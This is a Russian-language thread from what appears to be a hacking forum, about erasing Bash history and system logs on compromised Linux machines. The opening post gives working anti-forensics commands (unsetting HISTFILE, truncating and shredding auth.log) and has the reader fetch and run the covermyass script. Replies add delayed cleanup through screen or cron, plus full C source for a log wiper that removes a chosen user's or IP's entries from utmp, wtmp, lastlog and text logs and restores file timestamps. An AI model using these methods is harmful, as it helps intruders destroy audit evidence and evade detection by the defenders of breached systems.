• XSS.stack #1 – первый литературный журнал от юзеров форума

Чистим логи и историю Bash на взломанных Linux системах

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838

Удаление истории Bash​

Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
Код:
root@target:/# history
1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history


Команды записываются в переменную среды
Код:
HISTFILE
, обычно это
Код:
.bash_history
. Воспользуемся echo для определения местоположения:
Код:
root@target:/# echo $HISTFILE
/root/.bash_history
Используем команду unset для удаления переменной:
Код:
root@target:/# unset HISTFILE
Повторив процедуру снова, видим, что ничего не появляется:
Код:
root@target:/# echo $HISTFILE
Чтобы история команд не сохранялась, также можно ее отправить в /dev/null. Для этого установите переменную:
Код:
root@target:/# HISTFILE=/dev/null
Или сделайте то же самое с командой экспорта:
Код:
root@target:/# export HISTFILE=/dev/null
История теперь будет отправлена в /dev/null (то есть никуда):
Код:
root@target:/# echo $HISTFILE
/dev/null
Установите количество команд, которые будут сохраняться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
Код:
root@target:/# HISTSIZE=0
В качестве альтернативы используйте команду экспорта:
Код:
root@target:/# export HISTSIZE=0
Измените количество строк, разрешенных в файле истории, с помощью переменной HISTFILESIZE. Установите данное значение на 0:
Код:
root@target:/# HISTFILESIZE=0
Или с экспортом:
Код:
root@target:/# export HISTFILESIZE=0
Для изменения параметров оболочки также можно использовать команду set. Чтобы отключить опцию истории, используйте следующую команду:
Код:
root@target:/# set +o history
Снова включите ее:
Код:
root@target:/# set -o history
Точно так же для изменения параметров оболочки можно использовать команду shopt. Чтобы отключить историю, используйте следующую команду:
Код:
root@target:/# shopt -ou history
Снова включите ее:
Код:
root@target:/# shopt -os history
Во время выполнения команд на целевой системе иногда получается избежать их сохранения в истории, запустив команду с начального пробела:
Код:
root@target:~#  cat /etc/passwd
Данный метод работает не всегда и зависит от системы. Также можно просто очистить историю с помощью переключателя -c :
Код:
root@target:~# history -c
Чтобы убедиться, что изменения записаны на диск, используйте переключатель -w :
Код:
root@target:~# history -w
Данные действия очистят историю только для текущего сеанса. Чтобы окончательно убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
Код:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Также можно использовать команду kill для выхода из сеанса без сохранения истории:
Код:
root@target:/# kill -9 $$

Очистка файла журнала​

В дополнение к истории Bash также требуется почистить логи, чтобы оставаться незамеченными. Вот некоторые общие файлы журналов и их содержимое:
  • /var/log/auth.log Аутентификация
  • /var/log/cron.log Cron задачи
  • /var/log/maillog Почта
  • /var/log/httpd Apache
Конечно, можно просто удалить журнал с помощью команды rm :
Код:
root@target:/# rm /var/log/auth.log
Но скорее всего, данная процедура вызовет многочисленные красные флажки. Поэтому лучше сделать файл пустым, чем стирать его полностью. Используем команду truncate, чтобы уменьшить размер файла до 0:
Код:
root@target:/# truncate -s 0 /var/log/auth.log
Обратите внимание, функция усечения присутствует не всегда и не во всех системах.

То же самое можно сделать, отображая в файл “ничего”:
Код:
root@target:/# echo '' > /var/log/auth.log
А также использовать > сам по себе для очистки файла:
Код:
root@target:/# > /var/log/auth.log
Мы также можем отправить его в /dev/null:
Код:
root@target:/# cat /dev/null > /var/log/auth.log
Или использовать команду tee :
Код:
root@target:/# true | tee /var/log/auth.log
Также можно использовать команду dd, чтобы ничего не записывать в файл журнала:
Код:
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команда shred может быть использована, чтобы поверх перезаписать файл с бессмысленными двоичными данными:
Код:
root@target:/# shred /var/log/auth.log
Дополнительно добавив -zu, вы обрежете файл и перезапишете его нулями:
Код:
root@target:/# shred -zu /var/log/auth.log

Скрипт Covermyass​

Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash.
Код:
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдите в каталог с возможностью записи и используйте chmod, чтобы сделать его исполняемым:
Код:
root@target:/tmp# chmod +x covermyass
Затем запустите его:
Код:
root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
Нам предоставляется настраиваемая подсказка с несколькими вариантами на выбор. Выберем первый, чтобы очистить логи:
Код:
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Также можно отключить Bash и историю авторизации с помощью опции 2:
Код:
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Если вам нужно срочно все очистить, просто добавьте в команду now:
Код:
root@target:/tmp# ./covermyass now
Код:
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.

автор @DRD_, Cyber Weapons Lab
 
Пожалуйста, обратите внимание, что пользователь заблокирован
афтар забыл что часть инфы записывается уже после того как юзер вышел (wtmp & auth.log for ex.) так что описанное использование скрипта сотрет только часть следов
 
В таком случае можно воспользоваться отложенным запуском. Это даст необходимое время для выхода из системы.
Что - то вроде
Код:
screen -d -m sh -c "sleep 10; <clean_commands>"

Или добавить хитрый sh скрипт в cron, который почистит следы через некоторое время и затем удалит и себя и запись в cron-е
 
Ну или можно гораздо проще - заюзать софтину написанную на сях(логвайпер):
Код:
/*
[ ]--------------=[ security40bscurity at 0xbscured.net presents ]=-----------[ ]
 |                                                                             |
 |                       A D V A N C E D  L O G W I P E R                      |
 |                                                                             |
 | Wipe the shits u left behind u, in almost all type of log filez             |
 | (currently supported all utmp.h stuff and any plain text logz)              |
 |                                                                             |
 | Some feachers also provided like lastlog normalisation after                |
 | utmp/wtmp wiping                                                            |
 |                                                                             |
[ ]---------------------------------------------=[ in /dev/null we trust.. ]=-[ ]
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <utime.h>
#include <utmp.h>
#include <fcntl.h>
#include <errno.h>
#include <pwd.h>
#include <netdb.h>
#include <arpa/inet.h>

struct Logz {
    char *file;
    int (*parser)(struct Logz *);
};

int last(struct Logz *);
int xtmp(struct Logz *);
int plain(struct Logz *);

char TMP[BUFSIZ];

struct Logz logz[] = {
    {_PATH_UTMP, xtmp},
    {_PATH_WTMP, xtmp},
    {_PATH_LASTLOG, last},
    {"/var/log/secure", plain},
    {"/var/log/auth.log", plain},
    {"/var/log/messages", plain},
    {"/var/log/audit/audit.log", plain},
    {"/var/log/httpd-access.log", plain},
    {"/var/log/httpd-error.log", plain},
    {"/var/log/xferlog", plain},
    {NULL, NULL},
    {NULL, NULL}
};

char *user, *ip, *dns, *term, *lastuser;
struct utimbuf cur;
struct stat orig;
struct lastlog newll;

void usage(char *prog){
    printf("Usage: %s [-u user ] [-h host ] [-t ttyX] [-f logfile]\n"
            "wipe all evidence about given argv..\n", prog);
    exit(0);
}

int gettime(char *file){
    if (stat(file, &orig) < 0) {
    return(0);
    }
   
    cur.actime = orig.st_atime;
    cur.modtime = orig.st_mtime;
   
    return(1);
}

void settime(char *file){
    if (utime(file, &cur) < 0) {
    printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, file, strerror(errno));
    exit(1);
    }
}

int last(struct Logz *this){
    struct passwd *pw;
    int rc = 0, fd;

    if (lastuser) {
        if (!(pw = getpwnam(lastuser))) {
            printf("%s: couldn't find such a user\n", lastuser);
            return (-1);
        }

        if ((fd = open(this->file, O_RDWR)) < 0)
            return (-1);

        if (lseek(fd, pw->pw_uid * sizeof(struct lastlog), SEEK_SET) < 0)
            return (-1);

        write(fd, &newll, sizeof(struct lastlog));
        close(fd);
        printf("%s: fixed!\n", this->file);
    }
    return (rc);
}

int xtmp(struct Logz *this){
    struct utmp utmp_e;
    int fd1, fd2;
    int i, rc = 0;

    // 2 avoid damned cross link error
    strcpy(TMP, this->file);
    for (i = strlen(TMP); TMP[i] != '/'; i--);
    TMP[i] = 0x0;
    strcat(TMP, "/.zZ");

     if ((fd2 = open(TMP, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)) < 0){
        printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, this->file, strerror(errno));
        return (-1);
     }
 
    if ((fd1 = open(this->file, O_RDWR)) < 0)
        return (-1);

    while (read(fd1, &utmp_e, sizeof(utmp_e)) > 0) {
        if ((user != NULL) && (!strncmp(utmp_e.ut_name, user, UT_NAMESIZE))) {
            if (!lastuser)
            lastuser = malloc(UT_NAMESIZE + 1);
            strcpy(lastuser, utmp_e.ut_name);
            rc++; continue;
        }
        if ((ip != NULL) && (!strncmp(utmp_e.ut_host, ip, UT_HOSTSIZE))) {
            if (!lastuser)
            lastuser = malloc(UT_NAMESIZE + 1);
            strcpy(lastuser, utmp_e.ut_name);
            rc++; continue;
        }
        if ((dns != NULL) && (!strncmp(utmp_e.ut_host, dns, UT_HOSTSIZE))) {
            if (!lastuser)
            lastuser = malloc(UT_NAMESIZE + 1);
            strcpy(lastuser, utmp_e.ut_name);
            rc++; continue;
        }
        if ((term != NULL) && (!strncmp(utmp_e.ut_line, term, strlen(term)))) { rc++; continue; }
        write(fd2, &utmp_e, sizeof(utmp_e));
    }

    close(fd1);
    close(fd2);

    if (unlink(this->file) < 0)
        return (-1);

    if (rename(TMP, this->file) == -1)
        return (-1);

    // prepearing lastlog normalization
    memset(&newll, 0x0, sizeof(struct lastlog));
    fd1 = open(this->file, O_RDWR);
    while (read(fd1, &utmp_e, sizeof(utmp_e)) > 0) {
        if (lastuser && utmp_e.ut_time > newll.ll_time && !strcmp(utmp_e.ut_name, lastuser)) {
            strcpy(newll.ll_host, utmp_e.ut_host);
            strcpy(newll.ll_line, utmp_e.ut_line);
            newll.ll_time = utmp_e.ut_time;
        }
    }
    close(fd1);

    return (rc);
}

int plain(struct Logz *this) {
    char str[BUFSIZ], *boundary;
    FILE *f1, *f2;
    int i, rc = 0;

    // 2 avoid damned cross link error
    strcpy(TMP, this->file);
    for (i = strlen(TMP); TMP[i] != '/'; i--);
    TMP[i] = 0x0;
    strcat(TMP, "/.zZ");

     if (!(f2 = fopen(TMP, "w+"))){
        printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, TMP, strerror(errno));
        return (-1);
     }
 
    if (!(f1 = fopen(this->file, "r")))
        return (-1);

    for(fgets(str, BUFSIZ, f1); !feof(f1); fgets(str, BUFSIZ, f1)) {
        if (user != NULL) {
            if ((boundary = strstr(str, user))) {
//              m/[=\s]user[\n\s]/
                boundary--;
                if (*boundary == '=' || *boundary == ' ') {
                    boundary += strlen(user) + 1;
                    if (*boundary == '\n' || *boundary == ' ') { rc++; continue; }
                }
            }
        }
        if ((ip != NULL) && (strstr(str, ip))) { rc++; continue; }
        if ((dns != NULL) && (strstr(str, dns))) { rc++; continue; }
        if (term != NULL) {
            if ((boundary = strstr(str, term))) {
//              m/[=\s]term[\n\s]/
                boundary--;
                if (*boundary == '=' || *boundary == ' ') {
                    boundary += strlen(term) + 1;
                    if (*boundary == '\n' || *boundary == ' ') { rc++; continue; }
                }
            }
        }
       
        fputs(str, f2);
    }

    if (rc) {
            fclose(f1);
        rewind(f2);

        if (!(f1 = fopen(this->file, "w")))
            return (-1);
   
        for(fgets(str, BUFSIZ, f2); !feof(f2); fgets(str, BUFSIZ, f2))
            fputs(str, f1);
    }
   
    fclose(f2);
    fclose(f1);
   
    if (unlink(TMP) < 0) {
        printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, TMP, strerror(errno));
        return (-1);
     }

    return (rc);
}

int main(int argc, char **argv){
    struct in_addr addr;
    struct hostent *host;
    char *pattern;
    int rc, c, i;

    if (argc < 2 ) usage(argv[0]);
   
    if ((int)geteuid() != 0) {
        printf(":(\n");
        exit(1);
    }

    do {
        c = getopt(argc, argv, "h:u:t:f:");
        switch(c) {
            case 'h':
                if (!(host = gethostbyname(optarg))) {
                    printf("%s: %s\n", optarg, hstrerror(h_errno));
                    exit(1);
                }

                memcpy(&addr, host->h_addr, sizeof(struct in_addr));
                ip = malloc(UT_HOSTSIZE + 1);
                strcpy(ip, inet_ntoa(addr));
                pattern = ip;

                if ((host = gethostbyaddr(&addr, sizeof(struct in_addr), AF_INET))) {
                    dns = malloc(strlen(host->h_name) + 1);
                    strcpy(dns, host->h_name);
                    pattern = dns;
                }
               
               
            break;
           
            case 'u':
                if (strlen(optarg) > UT_NAMESIZE) {
                    printf("username is too long!\n");
                    exit(1);
                }
                user = malloc(UT_NAMESIZE + 1);
                strcpy(user, optarg);
                pattern = user;
            break;
           
            case 't':
                if (strlen(optarg) > UT_LINESIZE) {
                    printf("terminal line is too long!\n");
                    exit(1);
                }
                term = malloc(UT_LINESIZE + 1);
                strcpy(term,optarg);
                pattern = term;
            break;
           
            case 'f':
                for(i = 0; logz[i].file; i++);
                logz[i].file = optarg;
                logz[i].parser = plain;
            break;

            case '?':
                usage(argv[0]);
            break;
           
            case -1:
            break;
            default:
                printf("Fuck!!\n");
                exit(1);   
        }
    } while( c != -1);
 
    // Here we go !
    printf("search pattern: \e[1;37m%s\e[0m\n", pattern);
    for(i = rc = 0; logz[i].file; i++) {
        if (!gettime(logz[i].file))
            continue;

        if ((rc = logz[i].parser(&logz[i])) < 0) {
            printf("%s: %s\n", logz[i].file, strerror(errno));
            continue;
        }
       
        if (rc)
            printf("%s: %d\n", logz[i].file, rc);

        settime(logz[i].file);
    }
   
    return (0);   
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
вайп это палево, бобру сразу станет понятно что сломали. логи чуть корректируются и будут долго искать...
 
вайп это палево, бобру сразу станет понятно что сломали. логи чуть корректируются и будут долго искать...
ну для своей впс можно использовать
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх